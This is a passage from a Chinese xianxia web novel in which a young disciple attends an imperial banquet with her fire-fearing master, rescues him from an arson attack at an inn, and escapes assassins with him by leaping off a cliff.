她简直不知道该夸还是该骂,慕砚恒也没给她机会,转身便朝不远处的宴席走了,青容心中哼哼两声,忙不迭跟上,又朝身后的贺景麟看了两眼。
贺景麟一愣,抿抿唇,也跟在了她身后五六尺左右,直到抵达宴席。
玄色身影悄然出现,没有侍从没有抬轿,甚至没有贺长宇有排面,却令刚刚还算热闹的贵族公子们立刻噤声,齐刷刷朝慕砚恒的方向行了礼:“参见慕王爷。”
慕砚恒也行了平辈礼,并没有像在仙门那样只是单单点头。他的座位早已准备好,就在昌帝之下,桌子
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比其他人要大些,显然是为了多出来的青容作考虑。
慕砚恒不置可否,青容犹豫了一瞬,便也跟着过去,反正她现在是个半大小孩,蹭一下自己师父的位置总没人置喙。
贺景麟早已顿住脚步,寻到了自己的位置,是个偏僻角落,很不起眼,若不刻意寻找,几乎无人在意。他很安静,也很顺从,分明年纪不大,却好像已经接受了所有的不公。
青容不禁叹了口气,慕砚恒将一切收入眼底,但什么也没说,只顺手将糕点推到她身前,还递给她一个酒杯。
“师父,我不喝酒的。”青容生怕慕砚恒要当场灌她二两,以她现在这个年纪酒量不得当场醉死在这。
慕砚恒莫名其妙看着她:“你才七岁,为师怎么可能让你喝酒?刚刚离开便是去御厨那给你要了份果汁。”
“……”
好吧,是她把慕砚恒想的太阴暗了。
她小口嘬着糕点,看着许多人在拾柴火堆到一起,忍不住问:“师父,他们这是在做什么?”
慕砚恒正应付排队前来套关系的公子们,闻言看过去,也是略一蹙眉:“不知,从前没有这个。”
离他们最近的公子哥主动解释:“这个啊,听闻今年加了篝火舞,好看的很,王爷这离得近,倒是可以好好欣赏。”
青容对尘世娱乐暂时没有涉猎,想着应该也就是跳跳舞之类,毕竟这种宴席除了客套,也就剩表演可看。她对好看的人一向来之不拒,能白看当然得白看,当下心情也放松许多。
前来客套的人络绎不绝,但深知慕砚恒冷漠的性子,也都不敢多言,留个印象也就忙不迭走了,直至昌帝驾临。
青容向来不喜这种拜来拜去的流程,然而寄人屋檐下,总还是得乖巧些,她老老实实对昌帝行了礼,脑子里却还在想贺景麟的事。
待这次宴席结束,就委托慕砚恒去说两句吧,也算是尽一份心。
“发呆做什么?”慕砚恒忽的道。
青容回过神,才发现大家已经坐了回去,只有她还保持着行礼的姿势,这么小小一个人,瞧着倒有些可爱,又是慕砚恒的徒弟,本身就是焦点,以至于许多人在看她。
她立刻坐过去,尴尬咳了咳:“嗯,刚刚脚麻了。”
慕砚恒没多说什么,只是注意到她吃了许多糕点,于是顺手把自己的那份也推了过去。
没多久后,有人举着火把缓步靠近那浇了油的柴火堆,青容津津有味的围观,心道马上有表演可看,这趟皇宫行总算也不全都是糟心。
“呼啦”一声,篝火燃起,她和慕砚恒距离篝火很近,且恰好逆风,能感受到腾腾热浪,青容连忙将糕点往后挪了挪——这可不能烤化了,否则简直浪费了厨子的手艺。
“师父,这表演是不是得很久。”毕竟还是白天,起码得耗到晚上才有宴席的感觉吧,她觉得这篝火其实还是点早了些。
慕砚恒没有回她。
“师父?”她不经意偏头看过去,却忽的怔忡。
慕砚恒眉头紧蹙,篝火的光映在他的瞳孔里,像是添了层朦朦的雾,他的神色依旧淡漠,无悲无喜,除了皱眉外似乎没有任何改变。
倏然又刮来一阵风,篝火朝他们的方向扑腾了一下,只这一瞬,她清晰看到了慕砚恒指尖的收紧,近乎握成了拳,手背青筋微微凸起,就算转瞬即逝,也还是被青容发现了异样。
这种反应由普通人做来不算什么,但绝不应该发生在仙门首席护教慕砚恒身上。
她呆住了。
这是怎么回事?
慕砚恒……怕火?
12. 错饮
风越来越大,袭来的热浪一阵接一阵,宛如要吞噬他们的赤魔,烧得脸颊微疼。
就在舞女出现的同一时间,青容忽的抱住了慕砚恒略僵硬的手臂,整个人靠在他身上,黏糊糊的像个树袋熊。
慕砚恒没有甩开她。
他们的席位很高,仅次于昌帝,众人只要略一抬头就是正对他们的方向,这一下近乎惊悚的动作引众人倒吸一口冷气,见慕砚恒甚至没反应,他们不得不暗叹王爷对徒弟的宠溺。
看来王爷也没有表面那么冷漠,大庭广众被自己徒弟这么熊抱着形象全没了也不生气,真是人不可貌相也。
慕砚恒身上向来是凉嗖嗖的,不知是不是布料的缘故,倒是抵挡了些许炽热。
“师父,我怕火。”青容故意喊的大声,“我们能不能换个位置?”
宴席的位置当然是早就安排好的,慕砚恒这种不知是不是一人之下但目前绝对万人之上的角色更是如此,当然不会轻易更换,所以必须由她来说。
她还小,可以无理取闹。
“小阿容怕火啊?”慕砚恒还没有什么反应,倒是昌帝急匆匆跑了下来,见那篝火确实旺得烤人,他连忙道,“若砚恒不介意,你们可以去老六侧边,那边离火远些,也能看得清人。”
现在谁都能瞧出慕砚恒宝贝自己徒弟宝贝得紧,谁敢让她出岔子?第一仙门护教的身份摆在这,哪怕是皇帝也得保持好脸色。
篝火噼里啪啦的燃烧声在一片寂静的宴席中显得格外清晰刺耳,所有人的视线都放在二人身上,尤其慕砚恒。
他清俊的面孔浸在火光中,面部线条流畅而冷硬,玄色裘衣覆身,平日里的谪仙气息此时竟是半点也寻不到,甚至莫名让人觉得阴冷,仿佛下一刻他就会提刀架在皇帝肩上,伴着刀上流淌的血珠取而代之。
这个少年才十六岁,便在仙门有如此势力,若他真的生在皇家,那现在的皇帝还会是昌帝吗?
心细的人都发现这是个极其恐怖的假设。
“嗯,我带她去那里。”
许久未曾开口的慕砚恒终于有了回应,是众人预想之中的平静。
青容舒了口气,看来这人还没被吓傻,见慕砚恒侧眸看她,她连忙松开自己怀中的手臂,咧嘴笑笑,摆出一副天真烂漫的模样,也不管慕砚恒了,忙不迭就朝向腾出来的席位挪着小碎步走。
她这一下属实大胆,还是暂时避一下风头吧,只要慕砚恒不开口,她绝对当一晚上哑巴。
女孩提着裙摆,在篝火的浅淡光晕中滴溜溜往侧边的席位跑,像个乱扑腾的小蝴蝶,活泼又灵动。慕砚恒并没有阻止,更没有立刻跟上,他只是静默着望过去,似是在出神,霁蓝的瞳孔漂亮深邃,晦暗不明。
神思回到了停留京城那日,女孩蹦下马车,穿梭于人海之中,兴奋不已。那日的京城很热闹,有许多精彩的表演,包括喷火。
火焰在眼前窜上三尺高时,他注意到她看的很开心,甚至鼓起掌喝彩,他很清楚,那并非伪装出来的兴奋。
她根本不怕火,她骗了所有人。
也助他骗了所有人。
没有人能想到堂堂临霜护教会惧火,甚至说出来估计都无人相信,这种就连调查都调查不出的事,他不明白她是怎么知道的。
只是……他盯着青容的背影,深吸一口气,将刚刚凝法失败的手压了回去,好像什么也没发生。
青容挪了半天总算挪到位置上,一回头便和慕砚恒视线相撞,他的眼神似乎并不冷。青容心虚的同时又有些庆幸,若是慕砚恒能因此和她亲近些,那简直事半功倍,只是要如何解释还是个问题。
总不能当即戳穿“因为师父我感觉你当时很紧张”吧,那慕砚恒看着就很好面子,怕是行不来。
她还没想好寻个什么借口,慕砚恒便缓步走了过来,站在桌案旁略微顿了顿后,还是一拂衣摆,坐在了她的身边。
青容神经紧绷,假装不在意地吃着糕点,然而因为紧张吃的太快,一不留神便噎住了。
“咳!”她连忙找水。
鎏金杯被推到了她的面前,她也来不及多想,直接闷了两口,又差点喷出来。
这是酒。
情急之下猛入口近半杯,对于她这种滴酒不沾的人来说,简直能要半条命。
嗓子辣的要冒烟,青容愁眉苦脸,好不容易缓口气,本能略带哀怨地瞥了眼慕砚恒,反应过来后又立刻移开视线,清了清嗓子,再装成一副认真观舞的模样。
“果汁才送来,刚刚只有酒。”背后的声音解释道。
伴舞的乐曲声很响,她假装没听到。
“给你重新倒了一杯,来喝了润润喉。”
青容依旧没动,甚至跟着乐曲节奏哼了两声。
“你要喝水或者喝别的也可以,为师吩咐他们再送来一份。”
青容托着腮,仿佛看表演看的入神。
“不要得寸进尺。”
“……”
青容这才转回身,慢吞吞从慕砚恒手中接过杯子,但还是忍不住嘟囔:“那师父刚刚怎么不施法变杯水出来,徒儿才七岁,一下喝了二两酒,身体喝坏了怎么办。”
“无妨,你若有恙,为师会不惜一切代价将你治好的。”
“……”
分明是令人感动的话,怎么从慕砚恒嘴里说出来就那么奇怪呢,听起来好像到时候不是要救她,是要给她下点毒似的。
“师父你……人还挺好哈。”青容干笑。
但酒已下肚,喝再多果汁也只有增加去茅房次数的效果,篝火旁的舞蹈表演到一半,青容便隐约觉得有点头晕,连捧杯的手也虚浮起来,她暗道不好,这样下去怕是要栽。
“师父,这个宴席要到何时结束?”
傍晚刚过,天色渐暗,但离散席着实还有一段时间,慕砚恒的视线定在青容微微泛红的脸颊上,带着几分思索:“还得两个时辰左右,你若想回,便直接走,无人敢说什么。”
“算了算了。”青容忧郁地趴在桌上,捂着眉心,毕竟当着皇帝的面这么大摇大摆的走掉也忒过分了些,只能再忍一忍了,反正也就喝了两口,应该不至于有什么事。
应该……吧?
艰难地直起腰后,伴随着空盘摔落在地的声响,青容歪倒在慕砚恒身上,像一摊缩小版烂泥。
慕砚恒:“……”
隔壁的贺景麟注意到了这边的动静,他梗着脖子望眼欲穿,捏紧手中的筷子,脚下挪了又挪,但终究没有起步。
周围人也跟着小心翼翼投来目光,或是好奇或是不解,在慕砚恒抬眸后他们又立刻将目光收回去,再给自己嘴里塞两口菜,装成什么也没看见的模样。
慕砚恒没有将人甩开,这酒毕竟是他喂的,虽然万般不情愿,但总得负个责任。
顺手带回去往房间一扔算了,反正也不碍事。
他面无表情扶着青容的肩膀,将人抱在了怀里,缓缓起身,青容本能攀住他的肩,整个人像是挂在他身上的小挎包,乖巧到一点声音都没有,比睡着了还安静,乐曲声这么吵,她居然也没反应。
“陛下,她刚刚不小心饮了酒,现下不大舒服,我先带她回去。”
昌帝看的一愣一愣:“啊……好,那
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你先带她回去吧,怎会不小心饮了酒呢,是拿错了吗?”
慕砚恒当然不会承认是他自己干的好事,他只草草盖过,便准备离开,然而临行时,他忽的又想起一件事。
于是在众人偷窥的余光中,慕砚恒突然停下脚步,转而和陛下嘀嘀咕咕不知说了什么,陛下似乎很惊讶,有意无意朝六皇子那偏僻的方向看,面色也逐渐凝重。
贺景麟当然也注意到了异样,他依旧默不作声,只是握筷的手有些发颤,指尖捏得苍白,似是害怕,又似是期望。
慕砚恒没有停留多久,只替青容草草交代了几句,他或许说的简略,但昌帝绝不可能不当回事。
按理说,仙门中人是不可插手皇家之事的,尤其还是这种家里纠纷的事,但慕砚恒毕竟身份特殊,而他的徒弟和六皇子有交情的事,宴席之后便也不是秘密了。
青容是这么想的,慕砚恒也是这么想的,昌帝更是这么想的。
包括贺景麟自己。
…
青容是深夜丑时醒来的。
两口酒毕竟也不是什么离谱的量,至多是迷迷糊糊时顺便眯一会,并不至于熟睡,起初的酒劲过去后,青容自己便慢悠悠醒了,但睁眼时还有点发懵,尤其是看到了陌生的屋内摆件和门窗。
她声音还有些黏糊,带着刚睡醒的懵懂:“这是哪?这不是皇宫吧?”
鎏虹回答了她:“不是,是京都的一处客栈,离皇城还有段距离,慕砚恒可能不想让你睡他的塌,又不好意思给你扔地板上,就直接带你离开皇宫寻了处客栈,倒还挺大方。”
她将被褥推到一边,捂着头坐起来,越回想越觉得尴尬。两口酒远到不了喝断片的程度,她清晰地记得后面发生了什么,包括慕砚恒找昌帝说话的一字一句,但意识是清醒的,人是烂的,这种神奇的醉酒情况也是活久见,她宁愿断片了想不起来,省的得尴尬好几天。
“都怪慕砚恒。”最终她得出了这样的结论,“他就不能用法术变杯水出来?我才不信他是那种循规蹈矩的人。”
他甚至宁愿“舍身取义”把她抱回来,都不愿意在不会有人发现的情况下破一次规矩,真是见了鬼了。
鎏虹:“谁知道呢,要不你自己问问他?”
“算了,这个点他肯定已经打坐休息了。”青容重新倒回床上,“还是早些回门派的好,人也看过了,小孩也救了,任务圆满完成,与其一天天和慕砚恒待在一起干瞪眼,不如吃师姐做的糕点去。”
虽然没待几天,还是有些舍不得这里的繁华,但和慕砚恒单独出行真的过于遭罪,以后除非必要,她绝不同慕砚恒下山。
这本该是就寝的时间,只是刚刚睡饱,此时着实没有困意,青容实在百般聊赖,京城没有宵禁,此时外头还亮着灯火,青容便有点心痒痒:“你说我能不能溜出去逛一逛?”
“不要吧,你晚上单独出去很危险的,你不要忘了你现在是个七岁的女孩!”鎏虹由衷劝诫。
青容一想也是,万一被人绑了可得不偿失,那就只能在客栈熬一晚上打打坐了,正好温习一下心法,两年后的仙门大会也好游刃有余些,起码不会输的太难看。
只是没过多久,她莫名闻到了一股烧焦的味道,很淡很淡,若不是打坐时感官会敏锐数倍,或许她还捕捉不到。
“什么味道?有东西烧糊了吗?”青容睁开了眼。
“我没有实体,闻不到。”鎏虹说。
“总不能是饭菜糊了吧,是不是有人烧纸?”
只是没过几秒,楼下嚷喊的人就推翻了青容的猜想。
“着火了!”
13. 我来救你了
这家客栈很大,类似于院墙围起来的大片地域,像是朴素些的宫殿,估计在整座京城都算奢华。青容的房间在东北角房屋的三楼,比较偏僻。她揣着自己的乾坤囊跑下来时,烟已经有些浓了,看到戏多人拎着水桶急匆匆往一个方向赶,她便跟着跑了过去。
没过多久就望见了一片燃烧的熊熊火焰,已经窜到了第二层,几乎有包裹住整座楼的架势,在黑夜中分外刺眼。
青容面色微沉,这看着不像是普通的着火,距离她察觉到异样再赶过来,也就这么一小会时间,正常屋内有东西被点燃的失火哪会蔓延这么快?甚至刚刚才有人开始喊,说明这个火势是一瞬间造就的。
不是意外,那就是有人要灭口。
一个穿着齐整的中年男子就站在她身侧不远处,神色焦急地朝着火的方向眺望,像是客栈老板,她走过去试探着问:“叔叔,那房子里的人跑出来了吗?”
老板回头见是个模样娇滴滴的小女孩,忙道:“你这个小孩来这里干什么?赶紧跑远点,不要添乱。”
眼见老板没有回答的意思,青容面色微冷,也不装成礼貌小孩了,一把抓住老板的衣袖,厉声道:“我问你有没有人!”
分明只是个模样乖巧的女孩,质问时神情却极其冷肃,活像要打人似的,老板被唬了一下:“没……应该没有,最近都回去过年了,很少有人住客栈,这栋楼比较偏,平常都是空的。”
青容也不恼,毕竟这种情况下没人能做到冷静,但她心底总是有种不详的预感。
因为慕砚恒到现在都没出现。
这是不符合常理的,虽说慕砚恒对她的态度一直冷冷淡淡,但关乎生死他总不会不管,一个能当着所有人的面袒护自己徒弟的师父,青容不信才几个时辰过去慕砚恒就不顾她死活了,哪怕是装也得装到底吧。
青容追问:“你这个客栈,有没有住着一个十六七岁模样的少年,很好看,穿着像贵家公子,但不爱搭理人,冷冰冰的,这个人刚来客栈的时候,可能还抱着一个睡着的小女孩,你把他安排到哪了?”
老板一怔,视线忽的定在青容身上,瞳孔微缩。
是了,他想起来了,那个少年怀里抱着的小孩,就是眼前正在和他说话的人。
那少年生的太好,惊艳到令人过目不忘,实在难以从记忆中忽略,被这么一提醒,老板登时一惊:“是,我想起来了!他当时要我给他安排到偏僻的屋子,我就……他住的就是这一楼!老天爷啊完了完了,那一看就是富家子弟或王子皇孙,这要是在我这出事可怎么办……”
后面的嘀嘀咕咕,青容听不太清了,此时的她脑子里只有一个念头。
慕砚恒极有可能在火海里。
他怕火。
“哎,你在做什么?”
眼见女孩伸出手,掐诀似的原地折腾了半天,老板一边焦虑慌张一边摸不着头脑,但他不知道青容比他还要迷惘。
“法术怎么用不了……”她喃喃自语。
她知晓仙门规定不可擅自在山下动用术法,尤其皇城,否则会造成皇室忌惮以及人间恐慌,所以刚刚她不敢妄动,想先确定楼中有没有人,如果要救人再破例也不迟,大不了去跪个几天几夜认错,毕竟人命关天,反正她年纪小,又有慕砚恒这层关系,事态应该不会过于严重。
只是现在,楼内是没其他人需要她救了,可慕砚恒居然在里面,而更糟糕的是她自己的情况。
内息竟真的无法调动,如同枯涸的井水,反复试了几次也还是如此,她这段时间在仙门修炼向来勤勉,掐诀这种简单的东西不会出岔子,此番绝不是她学艺不精的问题。
但此情此景,不容她多想了。
任务尚未完成,慕砚恒绝不能有事。
“你去做什么!”老板和鎏虹同时惊呼出声。
因为未及人腰高的青容,忽的抢过旁人手中的水桶,往自己身上一浇,而后像是把性命弃之不顾似的,顶着时不时燃烧坠落的木梁,一头扎进了火海之中。
…
听到火折摩擦声的一瞬间,正在打坐的慕砚恒便睁开了眼。
他很清楚,带青容出皇宫来客栈住一晚,其实是极其错误的选择——皇宫寝殿中的熏香是特质的,能让修仙之人短暂失去使用术法的能力,这是昌帝对自己的一种保护,往年也都是如此,慕砚恒并不怎么在乎,反正宴席第二天醒来药效也就过了,不算碍事,他也懒得管。
皇宫自然安全,守卫重重,宫内无人胆敢图谋不轨,宫外之人进不来,可谓十分安逸。
但出了皇宫就不一样了。
作为横空出世的临霜护教,拥有一身精湛到近乎凌驾于所有人之上的修为,无论是其他仙门还是魔宫,向来都有人盯着他。
所以他特意和青容分了很远的房间,省的打起架来会碍事,至于单独一间房的青容的死活,他其实不是特别在乎,如果死在别人手里也算是名正言顺,至多是复仇不会那么痛快罢了。
到底隔了血海深仇,只一个无关紧要的小忙并不会在他心里掀起什么波澜,甚至于在无数个起了杀心的瞬间,他能保持平和已是相当不易。
黑影略过,带起一阵沙沙的寒风,并没有要现形的意思,慕砚恒并不惊慌,甚至异常平静,这种情况在过去的数年间已经常见到见怪不怪的地步,更何况他的仙力还得过一两个时辰才能恢复,若此刻显出错乱,反而不利。
他假装没有察觉,只是默不作声从枕下拿出了一叠符箓,这是他提早的提防,仙术发挥不出,符箓还是可以用的。
只是片刻后,他听到了泼水的声音。
慕砚恒略微蹙眉。
继而,一股木头烧焦的味道飘了进来,可能是外面风很大的缘故,一丝丝淡淡的焦味只有瞬息的出现,慕砚恒对火实在敏感才得以捕捉,他隐约察觉到不对,准备破门而出。
他的猜测被验证
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了。
就在指尖触门的瞬间,突如其来的熊熊烈火猛的让木门燃烧起来,火光刺目,顷刻间窜出数尺高,灼热的炽痛仿佛顺着指尖传入五脏六腑,再在体内疯狂的奔腾,翻涌,要将整个人融化。
火势的蔓延快到不可思议,几乎只是瞬息之间,便包裹住了整个房间,寻不到一丝逃出去的缝隙,也感受不到任何冬天该有的寒凉。
如一片令人绝望的阿鼻地狱。
记忆如滔天巨浪席卷而来,慕砚恒的指尖在空中凝滞,火光映在向来古井无波的霁蓝瞳孔中,冷冽如冻雪山泉的临霜护教宛若在这一刻被瓦解成最普通的少年。
眼前熯天炽地,慕砚恒却什么都看不到。
他溺在了水镜中的十一年前。
尖叫,求救,哭嚎,宅院中烟熏火燎,吞噬着无数人脆弱的生命,所到之处,寸草不生。
他看见父亲在火中扭曲成焦炭,母亲被坠落的横梁生生截断,烈焰攀上她的衣袂,将最后一声凄厉的惨叫也焚烧殆尽。
到处都是哭喊,遍地烧到面目全非的尸体,他知道那都是他熟悉的人,或许给他做过新衣,送过他一柄趁手的木剑,笑着摸过他的头,对他说,他是个乖巧懂事的孩子,日后定然能成大业。
一场火,全尸都不剩。
他颤抖的双手捂住耳朵,却挡不住记忆里此起彼伏的哀嚎,火焰灼烧的不是他的肌肤,而是深深刻在骨髓里的梦魇。
每一次火光亮起,都像是逝去的亲人在烈焰中撕扯着他的灵魂。
火焰席卷了屋内仅存的空间,只剩下滚滚浓烟直入肺腑,这里是二楼,燃烧的木梁已经快支撑不住,摇摇欲坠,发出令人牙酸的吱呀声。
慕砚恒阖上了眼。
他已经接近于无意识状态,整个人像是溺在深海之中,甚至没尝试挣扎,就这么任由自己悬浮,直至平静的溺亡。
“师父!”
他似乎听到有人在喊他,很模糊,大概是幻觉。
“师父你还好吗!”
他依旧没有回应,如死寂的深林。
那头的青容本就急切,喊了半天又无人答应,眼看楼房就要倒塌,大火封路,她终于再顾不上其他:“慕砚恒!大事未成,你堂堂临霜护教,真打算死在这里吗?”
声音依旧很小,在火燎之中近乎难以察觉,然而这一次,是前所未有的清晰。
像是心口被人重重一击,坐在地上的慕砚恒猛然回神。
“砰”一声,门被撞开了,碎屑砸在了慕砚恒身上,割破颈间的肌肤,划出一丝血痕,带来微弱的痛意。
幻境碎裂,显出身形。
小小的人影融在烈火之中,脏兮兮的,看起来很是狼狈,如摸爬滚打刚从废墟中爬出来,可是同时,火光渡在她身上,像是一层赤色的轮廓。
哪怕蒙了一层烟尘,似乎也比烈火更耀眼。
“你还好吗?我来救你了。”她说。
14. 爹!
两人的视线隔着烟雾相撞,与此同时,梁上碎木坠落,像是几团火球,眼看就要砸到慕砚恒。
青容想都没想,直接冲了过来,宛如凭空撑起的伞,替慕砚恒挡开了那些碎木,任由自己的手臂被灼伤。她没有喊痛,甚至没有吭声,只是微微发颤的身体暴露了她的疼痛。
但浓烟实在呛人,她忍不住咳嗽,窒息感愈发浓重,她不敢耽搁,见慕砚恒近乎瘫倒在地上,也不确定他身上有没有伤,干脆直接把人拖了起来,想架到自己身上运走。
然而她只有七岁,慕砚恒已经是个身量颀长的十六岁少年,她站起来也就刚及他腰高,这么硬背不仅是为难她,也是为难慕砚恒。
他双腿都垂在地上,姿势别扭得很,青容努力试了试,发现自己压根也背不动他。
平常看着挺瘦的,怎么原来比一座山还重。
“……我自己能走。”慕砚恒终于哑声开口。
青容一愣,登时松开手,慕砚恒原地晃了一下,他也不多言,放在她侧颈上的手下滑,一把将她捞了起来就往外冲。青容一边在他臂弯里挣扎,一边感觉周围炽热逐渐消失,直到一桶水浇在他们身上,与此同时,她看到了客栈老板呆滞的眼神。
“公子……竟完好无损,真是奇迹啊!”
慕砚恒不知道丢了个什么东西过去,随口道:“拿去修缮吧。”也不管客栈老板没反应过来慕砚恒为什么要给他钱,便再次拉着青容快步离开。
青容总算定了心,尚且乖巧地随慕砚恒走,这里确实不安全,刺客一定没走远,必须现在趁乱逃离,这是个正确的决定。
她没有抬头发觉到慕砚恒冰冷的眼神,那是掩盖不住的,如潮水般涌现的杀心。
水镜中全家被烧死的画面尚且没有完全驱散,而造就这一切的仇人的女儿,就在他手里,被他抓着手臂,不明所以地跟着他,亦步亦趋。
只要他想,就能立刻杀了她,报仇雪恨。
灭门之仇的残留情绪还停留在心口,他的指尖愈发收紧,漂亮深邃的冷眸中杀意浮现,一如刚刚他想要掐断她的脖子,以及篝火宴中凝结失败的夺命法术。
极其滚烫。
只是……
他摸到了她手臂上灼伤的伤口,那是刚刚替他挡下碎木时砸出来的。
触碰伤口的一瞬间,青容吃痛本能瑟缩了一下,咬着牙没吱声,慕砚恒顿了顿,手上力气松了些,眸色也跟着黯淡些许,那些浮起的情绪被他硬生生压了回去,在心口处徒留一片空荡荡的冷寂。
罢了,都忍了多少次,现在杀掉着实没什么意思,还有不少麻烦,回头得把她扔火里多折磨折磨才算解气。
再留一留吧。
也就这时,青容才注意到自己身上已是伤痕累累,阵阵痛意席卷,跟炭烧似的,不用想她都知道自己此刻有多么灰头土脸,活了几千年估计都没这么狼狈过。不过人救出来就好,这番折腾也不算白忙活。
“你刚刚喊我什么?”慕砚恒突然开口。
青容先是一怔,短暂回想了一番后,便有些心虚。
她当时担心慕砚恒害怕晕了,就直接喊名字想刺激一下他,目前看来是成功的,不过喊师父大名这件事委实有点大逆不道。可她刚刚救了他!这人总不至于不近人情到这种情况还要斤斤计较吧?
“这不是怕师父晕了,喊一喊给师父鼓劲,效果这不是有吗……”
她顶着一脸黑炭似的灰,努力辩驳。
“我的意思是……”慕砚恒轻飘飘道,“你怎知为师大业未成?”
青容心中一咯噔:“呃……师父年少成名,天下无双,将来肯定要成就一番大业的。”
她总不能说他未来要和她纠缠得死去活来的大业还未成吧?这说出来不得被从悬崖上丢下去……
等等,悬崖?
两人同时刹住脚步,碎石滚落,好半天都没听到回响。
身后冷嗖嗖传来一道声音:“无路可走了吧。”
他们前面居然是悬崖,这客栈居然建在悬崖边上!慕砚恒直接带她来了死路!刺客还追上来了!
呼吸了半天浓烟本来就头疼,她恨不得直接晕过去,就此与世隔绝。
转身一看,刺客是两个人,一高一矮,面目狰狞,手中都拿着武器,在深夜朦胧的月色下泛着微弱青光。
慕砚恒冷哼一声:“这般执着,时时刻刻观察本君行踪,难得挑个大好机会,倒也是辛苦你们。”
刺客举着刀,轻嘲:“你不会以为没有法力的你,还有抗争的能力吧?废话少说,东西交出来。”
果然,慕砚恒也没了法力,而他对此似乎并不感到意外,看来是皇宫的问题了。
青容也顾不上胳膊伤口阵阵钻心的疼,眼见慕砚恒并没有妥协的意思,刺客步步紧逼,身后便是百丈悬崖,这般看来,倒是走投无路。
“你怕死吗?”慕砚恒忽的道。
很显然,这句话是在问她。
“怕。”青容很实诚。
她当然怕死,更怕慕砚恒死,任务还没做完,为了仙界未来,他俩一个都不能出事。
她本以为慕砚恒会说些安慰的话,虽然不大现实,很大可能是冷嘲热讽一番,但她着实没想到,慕砚恒似是而非地点了点头后,突然侧身紧紧扣住了她没受伤的那条手臂。
而后,对着悬崖一跃而起。
慕砚恒力气很大,她直接顺着惯性被拽了过去,连声惊呼都没发出来,便感受到了失重,还有耳边呼啸的风声。
好像一切都停止了,青容瞳孔骤缩,再不容多想,全身血液仿佛都灌注到了头顶,千钧一发之际,她终于大喊了一声:“鎏虹!”
可她并没有等来法术霎时的恢复。
话音落下的瞬间,她晕了过去。
…
再醒来时,是在床上,淡雅的熏香弥漫在房内,夹杂着若有若无的药苦味。
窗外柳树的枯木隐隐垂到了窗口,似乎久久无人修剪,加上屋内陈设简朴,便显得有些荒芜。
肩颈酸疼,手臂更疼,青容悄然睁眼时,还有些浑浑噩噩的懵。
“容容你醒了。”鎏虹的声音出现在耳畔,“还好你没事,果然慕砚恒关键时候还是靠得住的。”
刚睡醒本就懵懂,处于陌生环境也不可能完全放松,她没听懂这句话是什么意思:“……啊?”
“坠崖的瞬间,你喊我,是要恢复法力吧,其实你不喊我也打算帮你,太危险了。”鎏虹解释道,“只是……我当时口诀都念到最后一个字了,我突然发现慕砚恒在运功!他身上是有法术的!”
青容:“……”
什么玩意?
“然后我就犹豫了一下,因为这三次机会实在太过珍贵,我想看看慕砚恒要干什么,接着他就把剑召唤到了自己脚下,并且拽住了你,还顺便施法把你弄晕了,然后他自己也晕了。”
“……”
“有点乱吧,反正他身上有法术是真的,但不像仙力,倒更像是……魔的修为,可能就是因为没承受住,他自己才会
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晕过去。”
这信息量实在是有些大,青容本就身体虚弱,听完后更觉得这事简直是一锅粥,她闷声咳了咳:“反正总结下来就是……他是装的,对吧?”
“大概,也许,可能,是对的。”
青容忍着酸痛,咬着牙站起来,就连闪了个趔趄也顾不上:“这王八羔子,我要杀了他!”
“慎言慎言,那是天枢仙尊。”
“仙尊就可以骗人了?他有法力不能自己逃出来?我拼死拼活救他出来,还差点用了一次重要的机会,结果他是装的,他自己想把刺客钓出来,我的死活他是完全不在意啊鎏虹!”
“在意的在意的,他晕倒前还是捞了你一下,这个机会才算真的省下来。”
两人无声的争论,青容内心恨不得将慕砚恒骂个狗血淋头,直到鎏虹打断她:“嘘,有人过去了,不是慕砚恒。”
话音刚落,青容也听到了极其细微的脚步声,她当即止住情绪,小心翼翼趴到窗口那顺着声音瞧过去。
那是个陌生女子,一身简朴素白长裙,手中端着药碗,正在往另一个房间走,女子模样清秀,气质很是温婉平和,她第一反应便是个医者。
慕砚恒难道在那?
青容试了一下,果然法术已经恢复,她立刻穿好鞋,准备悄悄溜过去。
鎏虹喋喋不休:“隐世神医,美救英雄,啧,话本里的剧情,虽然概率很小,但你注意别真让慕砚恒喜欢上她了。”
“……”青容眼角抽了抽,“这历劫还有和其他姑娘抢男人这种糟心事?你能不能回去告诉司命,凡事不要太过分。”
“哎呀,忍一忍,也就这十几年,就当体验一下话本中的后宫纷争。”
“行,那等我及笄了,给我也来点佳丽三千,不能亏了我自己。”
只是说归说,青容到底还是得保证任务顺利完成,慕砚恒那张脸实在容易勾引些天真无邪的小姑娘上当,她要去拯救她们。
她轻轻拖着步子挪过去,再小心翼翼推开女子走进的屋门,慕砚恒果然在里面,他显然察觉到了这细微的动静,飞快往青容的方向瞥了一眼,但没多言。
准确来说,是那女子的话实在太多。
“公子怎会坠崖呢,是遇到什么事了吗?还是有仇人追杀?难道欠钱了?还是被通缉了?这在皇城都那么乱啊,若外面危险,公子可暂时在我这避一段时间。”
可能是考虑到此人算小半个救命恩人的缘故,慕砚恒面色不算太冷,但也谈不上多好,依旧是风轻云淡的:“无妨,多谢姑娘,家中还有要事,明日我便离开。”
女子登时急了:“可那小姑娘身上还有伤,并不适合奔波,治好还是修养一阵吧。”
青容这才感觉胳膊的伤口依旧隐隐约约的疼,带火的木梁硬生生砸下来确实不是轻伤,显然是这个姑娘帮她治疗了些许,的确是个好人。
就是被慕砚恒的脸勾引了。
看那眼神,楚楚动人的,显然是对慕砚恒有点心思,她绝不容许这种漂亮又心灵手巧的姑娘被坏人诈骗!
提到青容,慕砚恒略微一顿,女子趁机问道:“那位是公子的妹妹吗?她胳膊灼伤,我这正好有些药,公子歇息几日,我也好给她疗伤。”
慕砚恒貌似真的有所犹豫,竟没有立刻拒绝,青容眼看事不宜迟,她连忙推开门,蹬着小碎步冲了过去,一把抱住了慕砚恒的腿。
在两人惊愕的目光中,她气沉丹田,非常坦然非常浑厚的大喊了一声。
“爹!”
15. 在意
鎏虹呆住了,慕砚恒僵住了,女子傻眼了,只有青容可怜兮兮在他腿上蹭了蹭,满脸委屈,眼泪汪汪,手臂还绑着绷带,怎一个惨字了得。
“这位公子……是你的……父亲?”女子满目震惊,脱口而出,“不可能吧?”
慕砚恒长得好看,身量颀长,周身气质端方清雅并不像毛头小子,但年龄摆在这,一眼看过去确实也就是个俊郎少年的模样,说他已成亲可能第一反应都是觉得早,更别说已经当了六七岁孩子的爹。
简直令人毛骨悚然。
慕砚恒开天辟地头一遭受到这么大的听觉震撼,也是当即愣住,但他向来没有辩解的习惯,哪怕暂时没明白青容为什么这么喊,反应过来后,他也只是皱着眉,掀开青容的袖口看了一眼,并没有说什么。
由旁人看来,就是默认了。
